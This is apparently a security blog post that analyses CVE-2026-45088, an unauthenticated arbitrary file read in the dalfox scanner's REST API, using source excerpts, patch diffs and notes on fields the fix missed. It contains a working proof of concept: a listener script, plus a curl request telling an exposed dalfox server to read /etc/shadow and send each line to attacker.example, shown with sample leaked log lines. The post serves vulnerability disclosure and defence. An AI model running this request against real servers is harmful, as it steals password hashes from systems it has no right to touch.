//nefariousplan

CVE-2026-45088: Dalfox's Custom-Payload File Was Any File. The Helper Is Named ReadLinesOrLiteral.

vendor

patterns

cve

proof of concept

--custom-payload is the dalfox CLI flag operators reach for when the built-in XSS corpus is not enough. The flag takes a path. The scan engine opens the path, reads each line, and probes each line against the target URL the operator passed on the same command line. The struct field that carries the flag's value is JSON-tagged custom-payload-file. The struct is model.Options. The REST API server binds model.Options from any unauthenticated POST /scan body.

The helper that opens the path is named ReadLinesOrLiteral. Its name is its contract. The operator's intent in --custom-payload payloads.txt is read-the-file. The network caller's intent in "custom-payload-file": "/etc/shadow" is read-the-file. The function does not distinguish. It opens the path the caller wrote.

ReadLinesOrLiteral does exactly what its name says

The helper lives in a separate Go module the dalfox maintainer ships under github.com/hahwul/volt. It is twenty-eight lines, including the import block:

// volt/file/readLines.go
package file

import (
	"bufio"
	"os"
)

// ReadLinesOrLiteral is readlines from file
func ReadLinesOrLiteral(arg string) ([]string, error) {
	if isFile(arg) {
		return readLines(arg)
	}
	return []string{arg}, nil
}

func readLines(filename string) ([]string, error) {
	f, err := os.Open(filename)
	if err != nil {
		return []string{}, err
	}
	defer f.Close()

	lines := make([]string, 0)
	sc := bufio.NewScanner(f)
	for sc.Scan() {
		lines = append(lines, sc.Text())
	}
	return lines, sc.Err()
}

func isFile(path string) bool {
	f, err := os.Stat(path)
	return err == nil && f.Mode().IsRegular()
}

The function has two branches. If os.Stat(arg) returns nil error and IsRegular() reports true, the function opens the path with os.Open, scans it line by line through bufio.Scanner, and returns the lines as a slice. Otherwise the function returns the argument wrapped as a single-element slice and the caller treats the argument itself as the value.

The disambiguation is the design choice that lets the same dalfox CLI flag accept --custom-payload payloads.txt and --custom-payload "<script>alert(1)</script>" and do the right thing for each. The CLI operator chose both the flag and the filesystem; the disambiguation is on the operator's side; the operator knows whether they are passing a file path or a literal payload.

A REST API caller writes JSON to a socket. They choose the flag. They do not choose the filesystem. The dalfox process chooses the filesystem on the operator's behalf, by being the operator's process. The function's rule is unchanged: if the string the caller wrote happens to name a regular file the dalfox process can stat, the function reads that file. The operator's intent in "custom-payload-file": "/etc/shadow" is one of two things. The function does the file branch.

The chain from JSON body to os.Open

pkg/server/model.go is twenty lines:

// pkg/server/model.go
type Req struct {
	URL     string        `json:"url"`
	Options model.Options `json:"options"`
}

Echo's c.Bind(rq) fills Req from the JSON body. Every JSON tag on model.Options is a key the network caller can write. CustomPayloadFile is JSON-tagged custom-payload-file. The tag was added so the CLI's --config some.json could populate the option from the operator's filesystem-resident config file. The same tag is the name of the REST field.

postScanHandler in pkg/server/server.go runs:

// pkg/server/server.go, v2.12.0
func postScanHandler(c echo.Context, scans *[]string, options *model.Options) error {
	rq := new(Req)
	if err := c.Bind(rq); err != nil {
		// ...
	}
	sid := utils.GenerateRandomToken(rq.URL)
	// ...
	go ScanFromAPI(rq.URL, rq.Options, *options, sid)
	return respondJSONorJSONP(c, http.StatusOK, res, options)
}

rq.URL is the attacker's target URL. rq.Options is the attacker's model.Options. Both are passed unfiltered to ScanFromAPI, which hands them to dalfox.Initialize:

// pkg/server/scan.go
func ScanFromAPI(url string, rqOptions model.Options, options model.Options, sid string) {
	target := dalfox.Target{
		URL:     url,
		Method:  rqOptions.Method,
		Options: rqOptions,
	}
	newOptions := dalfox.Initialize(target, target.Options)
	// ...
	_, err := scan.Scan(url, newOptions, sid)
	// ...
}

dalfox.Initialize walks a string-options table that copies named fields from the caller's options when the source is non-empty:

// lib/func.go
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

After Initialize, newOptions.CustomPayloadFile == "/etc/shadow". scan.Scan calls into the inspection loop, which reaches pkg/scanning/scan.go:343:

// pkg/scanning/scan.go, v2.12.0
// Custom Payload
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
	ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
	if err != nil {
		printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
	} else {
		for _, customPayload := range ff {
			if customPayload != "" {
				for k, v := range params {
					if optimization.CheckInspectionParam(options, k) {
						// ...
						for _, encoder := range encoders {
							tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
							query[tq] = tm
						}
					}
				}
			}
		}
		printing.DalLog("SYSTEM", "Added "+strconv.Itoa(len(ff))+" custom XSS payloads", options)
	}
}

voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) is the line. The path is the JSON the attacker wrote. os.Stat("/etc/shadow") from a dalfox process running as root or as a user in the shadow group returns a regular file. The function reads it. ff is now a slice whose elements are the lines of /etc/shadow. The loop emits one HTTP request per line of ff, per inspected parameter, per encoder, against target. target is the attacker's URL.

The exfil rides the scanner's primary HTTP loop

The scanner's primary purpose is to emit HTTP requests to the target URL with parameter values drawn from a payload corpus. MakeRequestQuery is the constructor for those requests:

// internal/optimization/optimization.go
func MakeRequestQuery(target, param, payload, ptype, pAction, pEncode string, options model.Options) (*http.Request, map[string]string) {
	// ...
	u, _ := url.Parse(target)
	paramList, _ := url.ParseQuery(u.RawQuery)
	// ... encode payload ...
	paramList.Add(param, payload)
	u.RawQuery = paramList.Encode()
	return GenerateNewRequest(u.String(), "", options), tempMap
}

The line of the file becomes the value of a query parameter on a GET to the attacker's URL. Each line gets four encoder variants (NaN, urlEncode, urlDoubleEncode, htmlEncode) and is emitted once per discovered parameter. /etc/shadow on a stock Ubuntu has roughly forty entries. A scan with one discovered parameter and four encoders emits one hundred sixty requests; the attacker's HTTP access log captures every line, URL-encoded, in the query string. The dalfox process emits the requests at its configured --worker concurrency, which the same JSON body can also set.

The default --port is 6664. The default --host is 0.0.0.0. The default --api-key is empty, and the auth middleware registers only when the key is non-empty.

# 1. Attacker runs a listener:
$ python3 -c '
from http.server import *
class H(BaseHTTPRequestHandler):
  def do_GET(s):
    s.send_response(200); s.end_headers()
    s.wfile.write(b"<html></html>")
HTTPServer(("0.0.0.0",18081),H).serve_forever()' &

# 2. Attacker posts a scan job:
$ curl -X POST http://target:6664/scan \
    -H 'Content-Type: application/json' \
    -d '{
      "url": "http://attacker.example:18081/?q=test",
      "options": {
        "custom-payload-file": "/etc/shadow",
        "only-custom-payload": true,
        "skip-discovery": true
      }
    }'
{"code":200,"msg":"<sid>"}

# 3. Attacker's access log fills with one line of /etc/shadow per request:
"GET /?q=test&q=root%3A%24y%24j9T%24...%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1" 200
"GET /?q=test&q=daemon%3A*%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1" 200
"GET /?q=test&q=bin%3A*%3A19850%3A0%3A99999%3A7%3A%3A%3A HTTP/1.1" 200
# ... one request per line, one of four encoders per line, repeat

No X-API-KEY header. No cookie. No precondition that the target URL be vulnerable to anything. The scan does not have to find a reflection. The file read fires the moment the loop hits voltFile.ReadLinesOrLiteral, which is before any payload has been sent. The HTTP requests that carry the file's contents are the scanner doing its primary job: probe a target URL with payload values. The payload values were never required to be XSS.

Three sinks, one helper, two commits, one CVE

The patch lands on May 7, 2026 in commit 02ad18f. The diff adds sanitizeAPIScanOptions:

// pkg/server/server.go, added in v2.13.0
// See GHSA-v25v-m36w-jp4h, GHSA-8hf9-3q64-q2qf, GHSA-35wr-x7v6-9fv2.
func sanitizeAPIScanOptions(o *model.Options) {
	o.FoundAction = ""
	o.FoundActionShell = ""
	o.OutputFile = ""
	o.OutputAll = false
	o.CustomPayloadFile = ""
	o.CustomBlindXSSPayloadFile = ""
	o.HarFilePath = ""
}

The third GHSA in the comment is GHSA-35wr-x7v6-9fv2, the advisory record CVE-2026-45088 maps to. The GHSA's title is Dalfox custom-payload-file allows arbitrary file read via REST API. The advisory body names one field. The sanitizer in the same commit also blanks CustomBlindXSSPayloadFile. That field is a sink of the same helper, at pkg/scanning/scan.go:611:

// pkg/scanning/scan.go
payloadLines, readErr := voltFile.ReadLinesOrLiteral(options.CustomBlindXSSPayloadFile)

Same call. Same os.Stat. Same os.Open. Same line-by-line emission, this time as blind-XSS callback payloads inside the parameter probe loop. The advisory does not name CustomBlindXSSPayloadFile. The sanitizer does.

Fifteen minutes after the first patch commit, the maintainer pushes e689793. The commit subject is fix(server,scanning): strip MiningWordlist and sync stage-2 results consumer. The body opens with: "Two follow-ups from the PR review." The diff:

@@ -184,6 +184,10 @@ func sanitizeAPIScanOptions(o *model.Options) {
 	o.CustomPayloadFile = ""
 	o.CustomBlindXSSPayloadFile = ""
 	o.HarFilePath = ""
+	// MiningWordlist (mining-dict-word) is also a server-side file path read
+	// by voltFile.ReadLinesOrLiteral; lines become probed parameter names and
+	// are exfiltrated through scan traffic, same class as CustomPayloadFile.
+	o.MiningWordlist = ""

MiningWordlist is the source of parameter names when dalfox runs its dictionary-mining stage. The call site is pkg/scanning/parameterAnalysis.go:259:

ff, err := voltFile.ReadLinesOrLiteral(options.MiningWordlist)

Same function. Same os.Open. The lines, here, become the names of parameters dalfox tries against the target by appending them to the query string. The attacker's access log captures the lines as URL-encoded parameter names rather than parameter values. The exfil works either way.

The commit message states the situation directly: "Each line becomes a probed parameter name and is sent to the scan target, exfiltrating the file's contents the same way custom-payload-file does." There is no separate CVE for MiningWordlist. There is no separate GHSA. The field's reachability through the same helper was a "follow-up from the PR review."

Three JSON-tagged model.Options fields pass attacker-chosen paths to voltFile.ReadLinesOrLiteral from a REST API bind. CustomPayloadFile is named in CVE-2026-45088. CustomBlindXSSPayloadFile is closed alongside it in commit 02ad18f without a separate CVE. MiningWordlist is closed in commit e689793 fifteen minutes later, also without a CVE. The CVE record reports the disclosure. The disclosure reports the sample of the class the GHSA reporter happened to write.

The patch closed the boundary. The helper is in volt.

sanitizeAPIScanOptions is a denylist in pkg/server/server.go. It runs in postScanHandler and again in the MCP scan tool entry point. It does not run anywhere else. dalfox.Initialize does not call it. The CLI does not call it. voltFile.ReadLinesOrLiteral is byte-identical between v2.12.0 and v2.13.0; the patch did not touch github.com/hahwul/volt.

The helper is a small public Go module. Its full set of importers, by grep of the dalfox repo alone, includes pkg/scanning/scan.go (two sites), pkg/scanning/parameterAnalysis.go, and cmd/file.go (two sites for CLI input loading). Three of the dalfox sites are sinks the patched sanitizer closed at the boundary. Two are CLI-only and not reached from the REST API. The helper itself is unchanged.

The maintainer's other tools, the same maintainer's other Go binaries that depend on volt, import the same function. Any of those that binds the function's argument from a network input recreates the class. The fix is in dalfox/pkg/server, applied to one struct against one set of field names. The pattern is in volt/file/readLines.go. The pattern's name is the function's name.

This is the security-tool-as-primitive shape applied to the scanner's primary HTTP loop. The sibling post on CVE-2026-45087 lays out the structural cause: model.Options doing double duty as flag struct and REST request body, with seventy-two JSON tags each becoming a network-controlled field, fixed by a denylist. That post is the canonical treatment of the boundary failure and the design-debt-driver shape behind it. The sibling post on CVE-2026-45089 names the file-write receiver, DalLog, whose IsLibrary guard sits above the file-write block instead of around it.

This CVE's contribution is the read primitive's exfil channel. CVE-2026-45087 needed a shell hook to deliver attacker output: foundAction calling exec.Command after a reflection was observed. CVE-2026-45089 needed a logger to deliver attacker output: DalLog opening OutputFile after the scan goroutine hit its first SYSTEM line. CVE-2026-45088 needs neither. The scanner's primary outbound HTTP loop, the same loop that exists because the scanner is a scanner, is the exfil channel. The exfil happens because the scanner does what scanners do, with payload values that happen to be the lines of a file the network caller chose.

The detector is the target in its quietest form. The dalfox process's job description is "send HTTP requests to a URL the operator chose, carrying payload values the operator supplied." The REST API moves both choices to the network. The scanner does not need to find a vulnerability in the target. The scanner does not need the target to respond in any particular way. The scanner needs to be invoked. The invocation is POST /scan with the file path in custom-payload-file and the destination in url. Everything else is the scanner working.

PoC: GHSA-35wr-x7v6-9fv2

The helper's name describes what the helper does. The sanitizer in pkg/server is the only thing keeping any path off the helper's stat call. The next field added to model.Options with a JSON tag and a file sink is the next entry in the list.